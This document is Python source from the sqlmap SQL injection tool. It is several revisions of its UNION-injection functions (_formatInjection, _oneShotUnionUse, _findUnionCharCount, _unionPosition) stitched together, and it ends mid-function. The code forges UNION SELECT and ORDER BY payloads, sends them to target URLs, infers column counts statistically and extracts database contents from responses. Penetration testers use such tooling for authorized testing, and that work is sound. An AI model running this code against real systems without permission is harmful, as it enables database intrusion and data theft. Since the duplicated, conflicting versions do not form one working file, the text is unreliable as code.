def _formatInjection(inj):
paramType = conf.method if conf.method not in (
None, HTTPMETHOD.GET, HTTPMETHOD.POST) else inj.place
data = "Parameter: %s (%s)\n" % (inj.parameter, paramType)
for stype, sdata in inj.data.items():
title = sdata.title
vector = sdata.vector
comment = sdata.comment
payload = agent.adjustLateValues(sdata.payload)
if inj.place == PLACE.CUSTOM_HEADER:
payload = payload.split(',', 1)[1]
if stype == PAYLOAD.TECHNIQUE.UNION:
count = re.sub(r"(?i)(\(.+\))|(\blimit[^a-z]+)", "",
sdata.payload).count(',') + 1
title = re.sub(r"\d+ to \d+", str(count), title)
vector = agent.forgeUnionQuery("[QUERY]", vector[0], vector[1],
vector[2], None, None, vector[5],
vector[6])
if count == 1:
title = title.replace("columns", "column")
elif comment:
vector = "%s%s" % (vector, comment)
data += " Type: %s\n" % PAYLOAD.SQLINJECTION[stype]
data += " Title: %s\n" % title
data += " Payload: %s\n" % urldecode(
payload,
unsafe="&",
spaceplus=(inj.place != PLACE.GET and kb.postSpaceToPlus))
data += " Vector: %s\n\n" % vector if conf.verbose > 1 else "\n"
return data
def _formatInjection(inj):
data = "Place: %s\n" % inj.place
data += "Parameter: %s\n" % inj.parameter
for stype, sdata in inj.data.items():
title = sdata.title
vector = sdata.vector
comment = sdata.comment
payload = agent.adjustLateValues(sdata.payload)
if inj.place == PLACE.CUSTOM_HEADER:
payload = payload.split(',', 1)[1]
if stype == PAYLOAD.TECHNIQUE.UNION:
count = re.sub(r"(?i)(\(.+\))|(\blimit[^A-Za-z]+)", "", sdata.payload).count(',') + 1
title = re.sub(r"\d+ to \d+", str(count), title)
vector = agent.forgeUnionQuery("[QUERY]", vector[0], vector[1], vector[2], None, None, vector[5], vector[6])
if count == 1:
title = title.replace("columns", "column")
elif comment:
vector = "%s%s" % (vector, comment)
data += " Type: %s\n" % PAYLOAD.SQLINJECTION[stype]
data += " Title: %s\n" % title
data += " Payload: %s\n" % payload
data += " Vector: %s\n\n" % vector if conf.verbose > 1 else "\n"
return data
def _formatInjection(inj):
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else inj.place
data = "Parameter: %s (%s)\n" % (inj.parameter, paramType)
for stype, sdata in inj.data.items():
title = sdata.title
vector = sdata.vector
comment = sdata.comment
payload = agent.adjustLateValues(sdata.payload)
if inj.place == PLACE.CUSTOM_HEADER:
payload = payload.split(',', 1)[1]
if stype == PAYLOAD.TECHNIQUE.UNION:
count = re.sub(r"(?i)(\(.+\))|(\blimit[^a-z]+)", "", sdata.payload).count(',') + 1
title = re.sub(r"\d+ to \d+", str(count), title)
vector = agent.forgeUnionQuery("[QUERY]", vector[0], vector[1], vector[2], None, None, vector[5], vector[6])
if count == 1:
title = title.replace("columns", "column")
elif comment:
vector = "%s%s" % (vector, comment)
data += " Type: %s\n" % PAYLOAD.SQLINJECTION[stype]
data += " Title: %s\n" % title
data += " Payload: %s\n" % urldecode(payload, unsafe="&", plusspace=(inj.place != PLACE.GET and kb.postSpaceToPlus))
data += " Vector: %s\n\n" % vector if conf.verbose > 1 else "\n"
return data
def _formatInjection(inj):
data = "Place: %s\n" % inj.place
data += "Parameter: %s\n" % inj.parameter
for stype, sdata in inj.data.items():
title = sdata.title
vector = sdata.vector
comment = sdata.comment
payload = agent.adjustLateValues(sdata.payload)
if inj.place == PLACE.CUSTOM_HEADER:
payload = payload.split(',', 1)[1]
if stype == PAYLOAD.TECHNIQUE.UNION:
count = re.sub(r"(?i)(\(.+\))|(\blimit[^A-Za-z]+)", "", sdata.payload).count(',') + 1
title = re.sub(r"\d+ to \d+", str(count), title)
vector = agent.forgeUnionQuery("[QUERY]", vector[0], vector[1], vector[2], None, None, vector[5], vector[6])
if count == 1:
title = title.replace("columns", "column")
elif comment:
vector = "%s%s" % (vector, comment)
data += " Type: %s\n" % PAYLOAD.SQLINJECTION[stype]
data += " Title: %s\n" % title
data += " Payload: %s\n" % payload
data += " Vector: %s\n\n" % vector if conf.verbose > 1 else "\n"
return data
def _formatJsonInjection(inj):
data = {}
#param - parametrs , t - type , i - injections
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else inj.place
data["param"] = {"param":inj.parameter,"t":paramType}
data["i"] = []
for stype, sdata in inj.data.items():
title = sdata.title
vector = sdata.vector
comment = sdata.comment
payload = agent.adjustLateValues(sdata.payload)
if inj.place == PLACE.CUSTOM_HEADER:
payload = payload.split(',', 1)[1]
if stype == PAYLOAD.TECHNIQUE.UNION:
count = re.sub(r"(?i)(\(.+\))|(\blimit[^A-Za-z]+)", "", sdata.payload).count(',') + 1
title = re.sub(r"\d+ to \d+", str(count), title)
vector = agent.forgeUnionQuery("[QUERY]", vector[0], vector[1], vector[2], None, None, vector[5], vector[6])
if count == 1:
title = title.replace("columns", "column")
elif comment:
vector = "%s%s" % (vector, comment)
#ti - title , p - payload , v - vector
tmp_data = {"t":PAYLOAD.SQLINJECTION[stype],"ti":title,"p":urldecode(payload, unsafe="&", plusspace=(inj.place != PLACE.GET and kb.postSpaceToPlus))}
if conf.verbose > 1:
tmp_data["v"] = vector
data["i"].append(tmp_data)
return data
def _oneShotUnionUse(expression, unpack=True, limited=False):
retVal = hashDBRetrieve("%s%s" % (conf.hexConvert, expression), checkConf=True) # as union data is stored raw unconverted
threadData = getCurrentThreadData()
threadData.resumed = retVal is not None
if retVal is None:
# Prepare expression with delimiters
injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else None
# Forge the union SQL injection request
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
kb.unionDuplicates = vector[7]
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
payload = agent.payload(newValue=query, where=where)
# Perform the request
page, headers = Request.queryPage(payload, content=True, raise404=False)
incrementCounter(PAYLOAD.TECHNIQUE.UNION)
# Parse the returned page to get the exact union-based
# SQL injection output
def _(regex):
return reduce(lambda x, y: x if x is not None else y, (\
extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
None)
# Automatically patching last char trimming cases
if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
warnMsg = "automatically patching output having last char trimmed"
singleTimeWarnMessage(warnMsg)
page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
if retVal is not None:
retVal = getUnicode(retVal, kb.pageEncoding)
# Special case when DBMS is Microsoft SQL Server and error message is used as a result of union injection
if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
retVal = htmlunescape(retVal).replace("<br>", "\n")
hashDBWrite("%s%s" % (conf.hexConvert, expression), retVal)
else:
trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))
if trimmed:
warnMsg = "possible server trimmed output detected "
warnMsg += "(probably due to its length and/or content): "
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
return retVal
def _oneShotUnionUse(expression, unpack=True, limited=False):
retVal = hashDBRetrieve("%s%s" % (conf.hexConvert, expression), checkConf=True) # as union data is stored raw unconverted
threadData = getCurrentThreadData()
threadData.resumed = retVal is not None
if retVal is None:
# Prepare expression with delimiters
injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
# Forge the union SQL injection request
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
kb.unionDuplicates = vector[7]
kb.forcePartialUnion = vector[8]
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
payload = agent.payload(newValue=query, where=where)
# Perform the request
page, headers = Request.queryPage(payload, content=True, raise404=False)
incrementCounter(PAYLOAD.TECHNIQUE.UNION)
# Parse the returned page to get the exact union-based
# SQL injection output
def _(regex):
return reduce(lambda x, y: x if x is not None else y, (\
extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
None)
# Automatically patching last char trimming cases
if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
warnMsg = "automatically patching output having last char trimmed"
singleTimeWarnMessage(warnMsg)
page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
if retVal is not None:
retVal = getUnicode(retVal, kb.pageEncoding)
# Special case when DBMS is Microsoft SQL Server and error message is used as a result of union injection
if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
retVal = htmlunescape(retVal).replace("<br>", "\n")
hashDBWrite("%s%s" % (conf.hexConvert, expression), retVal)
else:
trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))
if trimmed:
warnMsg = "possible server trimmed output detected "
warnMsg += "(probably due to its length and/or content): "
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
return retVal
def _oneShotUnionUse(expression, unpack=True, limited=False):
retVal = hashDBRetrieve(
"%s%s" % (conf.hexConvert or False, expression),
checkConf=True) # as UNION data is stored raw unconverted
threadData = getCurrentThreadData()
threadData.resumed = retVal is not None
if retVal is None:
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
if not kb.rowXmlMode:
injExpression = unescaper.escape(
agent.concatQuery(expression, unpack))
kb.unionDuplicates = vector[7]
kb.forcePartialUnion = vector[8]
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1],
vector[2], vector[3], vector[4],
vector[5], vector[6], None, limited)
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[
6]
else:
where = vector[6]
query = agent.forgeUnionQuery(expression, vector[0], vector[1],
vector[2], vector[3], vector[4],
vector[5], vector[6], None, False)
payload = agent.payload(newValue=query, where=where)
# Perform the request
page, headers, _ = Request.queryPage(payload,
content=True,
raise404=False)
incrementCounter(PAYLOAD.TECHNIQUE.UNION)
if not kb.rowXmlMode:
# Parse the returned page to get the exact UNION-based
# SQL injection output
def _(regex):
return reduce(lambda x, y: x if x is not None else y,
(extractRegexResult(
regex, removeReflectiveValues(page, payload),
re.DOTALL | re.IGNORECASE),
extractRegexResult(
regex,
removeReflectiveValues(
listToStrValue((
_ for _ in headers.headers
if not _.startswith(HTTP_HEADER.URI)
) if headers else None), payload, True),
re.DOTALL | re.IGNORECASE)), None)
# Automatically patching last char trimming cases
if kb.chars.stop not in (page
or "") and kb.chars.stop[:-1] in (page
or ""):
warnMsg = "automatically patching output having last char trimmed"
singleTimeWarnMessage(warnMsg)
page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
else:
output = extractRegexResult(r"(?P<result>(<row.+?/>)+)", page)
if output:
try:
root = xml.etree.ElementTree.fromstring(
"<root>%s</root>" % output.encode(UNICODE_ENCODING))
retVal = ""
for column in kb.dumpColumns:
base64 = True
for child in root:
value = child.attrib.get(column, "").strip()
if value and not re.match(
r"\A[a-zA-Z0-9+/]+={0,2}\Z", value):
base64 = False
break
try:
value.decode("base64")
except binascii.Error:
base64 = False
break
if base64:
for child in root:
child.attrib[column] = child.attrib.get(
column, "").decode("base64") or NULL
for child in root:
row = []
for column in kb.dumpColumns:
row.append(child.attrib.get(column, NULL))
retVal += "%s%s%s" % (kb.chars.start,
kb.chars.delimiter.join(row),
kb.chars.stop)
except:
pass
else:
retVal = getUnicode(retVal)
if retVal is not None:
retVal = getUnicode(retVal, kb.pageEncoding)
# Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
retVal = htmlunescape(retVal).replace("<br>", "\n")
hashDBWrite("%s%s" % (conf.hexConvert or False, expression),
retVal)
elif not kb.rowXmlMode:
trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))
if trimmed:
warnMsg = "possible server trimmed output detected "
warnMsg += "(probably due to its length and/or content): "
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
else:
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
kb.unionDuplicates = vector[7]
return retVal
def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL):
"""
Finds number of columns affected by UNION based injection
"""
retVal = None
def _orderByTechnique():
def _orderByTest(cols):
query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
query = agent.suffixQuery(query, suffix=suffix, comment=comment)
payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
return not re.search(r"(warning|error|order by|failed)", page or "", re.I) and comparison(page, headers) or re.search(r"data types cannot be compared or sorted", page or "", re.I)
if _orderByTest(1) and not _orderByTest(randomInt()):
infoMsg = "ORDER BY technique seems to be usable. "
infoMsg += "This should reduce the time needed "
infoMsg += "to find the right number "
infoMsg += "of query columns. Automatically extending the "
infoMsg += "range for current UNION query injection technique test"
singleTimeLogMessage(infoMsg)
lowCols, highCols = 1, ORDER_BY_STEP
found = None
while not found:
if _orderByTest(highCols):
lowCols = highCols
highCols += ORDER_BY_STEP
else:
while not found:
mid = highCols - (highCols - lowCols) / 2
if _orderByTest(mid):
lowCols = mid
else:
highCols = mid
if (highCols - lowCols) < 2:
found = lowCols
return found
pushValue(kb.errorIsNone)
items, ratios = [], []
kb.errorIsNone = False
lowerCount, upperCount = conf.uColsStart, conf.uColsStop
if lowerCount == 1:
found = kb.orderByColumns or _orderByTechnique()
if found:
kb.orderByColumns = found
infoMsg = "target url appears to have %d column%s in query" % (found, 's' if found > 1 else "")
singleTimeLogMessage(infoMsg)
return found
if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
upperCount = lowerCount + MIN_UNION_RESPONSES
min_, max_ = MAX_RATIO, MIN_RATIO
pages = {}
for count in xrange(lowerCount, upperCount + 1):
query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where)
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
if not isNullValue(kb.uChar):
pages[count] = page
ratio = comparison(page, headers, getRatioValue=True) or MIN_RATIO
ratios.append(ratio)
min_, max_ = min(min_, ratio), max(max_, ratio)
items.append((count, ratio))
if not isNullValue(kb.uChar):
for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar):
contains = [(count, re.search(regex, page or "", re.IGNORECASE) is not None) for count, page in pages.items()]
if len(filter(lambda x: x[1], contains)) == 1:
retVal = filter(lambda x: x[1], contains)[0][0]
break
if not retVal:
ratios.pop(ratios.index(min_))
ratios.pop(ratios.index(max_))
minItem, maxItem = None, None
for item in items:
if item[1] == min_:
minItem = item
elif item[1] == max_:
maxItem = item
if all(map(lambda x: x == min_ and x != max_, ratios)):
retVal = maxItem[0]
elif all(map(lambda x: x != min_ and x == max_, ratios)):
retVal = minItem[0]
elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
deviation = stdev(ratios)
lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation
if min_ < lower:
retVal = minItem[0]
if max_ > upper:
if retVal is None or abs(max_ - upper) > abs(min_ - lower):
retVal = maxItem[0]
kb.errorIsNone = popValue()
if retVal:
infoMsg = "target url appears to be UNION injectable with %d columns" % retVal
singleTimeLogMessage(infoMsg)
return retVal
def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL):
validPayload = None
vector = None
positions = range(0, count)
# Unbiased approach for searching appropriate usable column
random.shuffle(positions)
# For each column of the table (# of NULL) perform a request using
# the UNION ALL SELECT statement to test it the target url is
# affected by an exploitable union SQL injection vulnerability
for position in positions:
# Prepare expression with delimiters
randQuery = randomStr(UNION_MIN_RESPONSE_CHARS)
phrase = "%s%s%s".lower() % (kb.chars.start, randQuery, kb.chars.stop)
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
randQueryUnescaped = unescaper.unescape(randQueryProcessed)
# Forge the union SQL injection request
query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where)
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
# Perform the request
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
payload, True) or "")
if content and phrase in content:
validPayload = payload
kb.unionDuplicates = content.count(phrase) > 1
vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates)
if where == PAYLOAD.WHERE.ORIGINAL:
# Prepare expression with delimiters
randQuery2 = randomStr(UNION_MIN_RESPONSE_CHARS)
phrase2 = "%s%s%s".lower() % (kb.chars.start, randQuery2, kb.chars.stop)
randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2)
randQueryUnescaped2 = unescaper.unescape(randQueryProcessed2)
# Confirm that it is a full union SQL injection
query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2)
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
# Perform the request
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "")
if not all(_ in content for _ in (phrase, phrase2)):
vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE, kb.unionDuplicates)
elif not kb.unionDuplicates:
fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr())
# Check for limited row output
query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable)
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
# Perform the request
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
payload, True) or "")
if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER:
warnMsg = "output with limited number of rows detected. Switching to partial mode"
logger.warn(warnMsg)
vector = (position, count, comment, prefix, suffix, kb.uChar, PAYLOAD.WHERE.NEGATIVE, kb.unionDuplicates)
unionErrorCase = kb.errorIsNone and wasLastRequestDBMSError()
if unionErrorCase and count > 1:
warnMsg = "combined UNION/error-based SQL injection case found on "
warnMsg += "column %d. sqlmap will try to find another " % (position + 1)
warnMsg += "column with better characteristics"
logger.warn(warnMsg)
else:
break
return validPayload, vector
def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL):
"""
Finds number of columns affected by UNION based injection
"""
retVal = None
@stackedmethod
def _orderByTechnique(lowerCount=None, upperCount=None):
def _orderByTest(cols):
query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
query = agent.suffixQuery(query, suffix=suffix, comment=comment)
payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order (by|clause)", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None
if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1):
infoMsg = "'ORDER BY' technique appears to be usable. "
infoMsg += "This should reduce the time needed "
infoMsg += "to find the right number "
infoMsg += "of query columns. Automatically extending the "
infoMsg += "range for current UNION query injection technique test"
singleTimeLogMessage(infoMsg)
lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount
found = None
while not found:
if not conf.uCols and _orderByTest(highCols):
lowCols = highCols
highCols += ORDER_BY_STEP
else:
while not found:
mid = highCols - (highCols - lowCols) / 2
if _orderByTest(mid):
lowCols = mid
else:
highCols = mid
if (highCols - lowCols) < 2:
found = lowCols
return found
try:
pushValue(kb.errorIsNone)
items, ratios = [], []
kb.errorIsNone = False
lowerCount, upperCount = conf.uColsStart, conf.uColsStop
if kb.orderByColumns is None and (lowerCount == 1 or conf.uCols): # ORDER BY is not bullet-proof
found = _orderByTechnique(lowerCount, upperCount) if conf.uCols else _orderByTechnique()
if found:
kb.orderByColumns = found
infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "")
singleTimeLogMessage(infoMsg)
return found
if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
upperCount = lowerCount + MIN_UNION_RESPONSES
min_, max_ = MAX_RATIO, MIN_RATIO
pages = {}
for count in xrange(lowerCount, upperCount + 1):
query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where)
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
if not isNullValue(kb.uChar):
pages[count] = page
ratio = comparison(page, headers, code, getRatioValue=True) or MIN_RATIO
ratios.append(ratio)
min_, max_ = min(min_, ratio), max(max_, ratio)
items.append((count, ratio))
if not isNullValue(kb.uChar):
for regex in (kb.uChar.strip("'"), r'>\s*%s\s*<' % kb.uChar.strip("'")):
contains = [count for count, content in pages.items() if re.search(regex, content or "", re.IGNORECASE) is not None]
if len(contains) == 1:
retVal = contains[0]
break
if not retVal:
if min_ in ratios:
ratios.pop(ratios.index(min_))
if max_ in ratios:
ratios.pop(ratios.index(max_))
minItem, maxItem = None, None
for item in items:
if item[1] == min_:
minItem = item
elif item[1] == max_:
maxItem = item
if all(_ == min_ and _ != max_ for _ in ratios):
retVal = maxItem[0]
elif all(_ != min_ and _ == max_ for _ in ratios):
retVal = minItem[0]
elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
deviation = stdev(ratios)
if deviation is not None:
lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation
if min_ < lower:
retVal = minItem[0]
if max_ > upper:
if retVal is None or abs(max_ - upper) > abs(min_ - lower):
retVal = maxItem[0]
finally:
kb.errorIsNone = popValue()
if retVal:
infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal
singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r"\d+", "N", infoMsg))
return retVal
def _oneShotUnionUse(expression, unpack=True, limited=False):
retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted
threadData = getCurrentThreadData()
threadData.resumed = retVal is not None
if retVal is None:
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
if not kb.rowXmlMode:
injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
kb.unionDuplicates = vector[7]
kb.forcePartialUnion = vector[8]
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
else:
where = vector[6]
query = agent.forgeUnionQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False)
payload = agent.payload(newValue=query, where=where)
# Perform the request
page, headers, _ = Request.queryPage(payload, content=True, raise404=False)
incrementCounter(PAYLOAD.TECHNIQUE.UNION)
if not kb.rowXmlMode:
# Parse the returned page to get the exact UNION-based
# SQL injection output
def _(regex):
return reduce(lambda x, y: x if x is not None else y, (\
extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
None)
# Automatically patching last char trimming cases
if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
warnMsg = "automatically patching output having last char trimmed"
singleTimeWarnMessage(warnMsg)
page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
else:
output = extractRegexResult(r"(?P<result>(<row.+?/>)+)", page)
if output:
try:
root = xml.etree.ElementTree.fromstring("<root>%s</root>" % output.encode(UNICODE_ENCODING))
retVal = ""
for column in kb.dumpColumns:
base64 = True
for child in root:
value = child.attrib.get(column, "").strip()
if value and not re.match(r"\A[a-zA-Z0-9+/]+={0,2}\Z", value):
base64 = False
break
try:
value.decode("base64")
except binascii.Error:
base64 = False
break
if base64:
for child in root:
child.attrib[column] = child.attrib.get(column, "").decode("base64") or NULL
for child in root:
row = []
for column in kb.dumpColumns:
row.append(child.attrib.get(column, NULL))
retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(row), kb.chars.stop)
except:
pass
else:
retVal = getUnicode(retVal)
if retVal is not None:
retVal = getUnicode(retVal, kb.pageEncoding)
# Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
retVal = htmlunescape(retVal).replace("<br>", "\n")
hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal)
elif not kb.rowXmlMode:
trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))
if trimmed:
warnMsg = "possible server trimmed output detected "
warnMsg += "(probably due to its length and/or content): "
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
else:
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
kb.unionDuplicates = vector[7]
return retVal
def _findUnionCharCount(comment,
place,
parameter,
value,
prefix,
suffix,
where=PAYLOAD.WHERE.ORIGINAL):
"""
Finds number of columns affected by UNION based injection
"""
retVal = None
@stackedmethod
def _orderByTechnique(lowerCount=None, upperCount=None):
def _orderByTest(cols):
query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
query = agent.suffixQuery(query, suffix=suffix, comment=comment)
payload = agent.payload(newValue=query,
place=place,
parameter=parameter,
where=where)
page, headers, code = Request.queryPage(payload,
place=place,
content=True,
raise404=False)
return not any(
re.search(_, page or "", re.I)
and not re.search(_, kb.pageTemplate or "", re.I) for _ in
("(warning|error):", "order (by|clause)", "unknown column",
"failed")) and not kb.heavilyDynamic and comparison(
page, headers, code) or re.search(
r"data types cannot be compared or sorted", page
or "", re.I) is not None
if _orderByTest(
1 if lowerCount is None else lowerCount) and not _orderByTest(
randomInt() if upperCount is None else upperCount + 1):
infoMsg = "'ORDER BY' technique appears to be usable. "
infoMsg += "This should reduce the time needed "
infoMsg += "to find the right number "
infoMsg += "of query columns. Automatically extending the "
infoMsg += "range for current UNION query injection technique test"
singleTimeLogMessage(infoMsg)
lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount
found = None
while not found:
if not conf.uCols and _orderByTest(highCols):
lowCols = highCols
highCols += ORDER_BY_STEP
else:
while not found:
mid = highCols - (highCols - lowCols) // 2
if _orderByTest(mid):
lowCols = mid
else:
highCols = mid
if (highCols - lowCols) < 2:
found = lowCols
return found
try:
pushValue(kb.errorIsNone)
items, ratios = [], []
kb.errorIsNone = False
lowerCount, upperCount = conf.uColsStart, conf.uColsStop
if kb.orderByColumns is None and (
lowerCount == 1
or conf.uCols): # Note: ORDER BY is not bullet-proof
found = _orderByTechnique(
lowerCount, upperCount) if conf.uCols else _orderByTechnique()
if found:
kb.orderByColumns = found
infoMsg = "target URL appears to have %d column%s in query" % (
found, 's' if found > 1 else "")
singleTimeLogMessage(infoMsg)
return found
elif kb.futileUnion:
return None
if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
upperCount = lowerCount + MIN_UNION_RESPONSES
min_, max_ = MAX_RATIO, MIN_RATIO
pages = {}
for count in xrange(lowerCount, upperCount + 1):
query = agent.forgeUnionQuery('', -1, count, comment, prefix,
suffix, kb.uChar, where)
payload = agent.payload(place=place,
parameter=parameter,
newValue=query,
where=where)
page, headers, code = Request.queryPage(payload,
place=place,
content=True,
raise404=False)
if not isNullValue(kb.uChar):
pages[count] = page
ratio = comparison(page, headers, code,
getRatioValue=True) or MIN_RATIO
ratios.append(ratio)
min_, max_ = min(min_, ratio), max(max_, ratio)
items.append((count, ratio))
if not isNullValue(kb.uChar):
for regex in (kb.uChar.strip("'"),
r'>\s*%s\s*<' % kb.uChar.strip("'")):
contains = [
count for count, content in pages.items() if re.search(
regex, content or "", re.IGNORECASE) is not None
]
if len(contains) == 1:
retVal = contains[0]
break
if not retVal:
if min_ in ratios:
ratios.pop(ratios.index(min_))
if max_ in ratios:
ratios.pop(ratios.index(max_))
minItem, maxItem = None, None
for item in items:
if item[1] == min_:
minItem = item
elif item[1] == max_:
maxItem = item
if all(_ == min_ and _ != max_ for _ in ratios):
retVal = maxItem[0]
elif all(_ != min_ and _ == max_ for _ in ratios):
retVal = minItem[0]
elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
deviation = stdev(ratios)
if deviation is not None:
lower, upper = average(
ratios) - UNION_STDEV_COEFF * deviation, average(
ratios) + UNION_STDEV_COEFF * deviation
if min_ < lower:
retVal = minItem[0]
if max_ > upper:
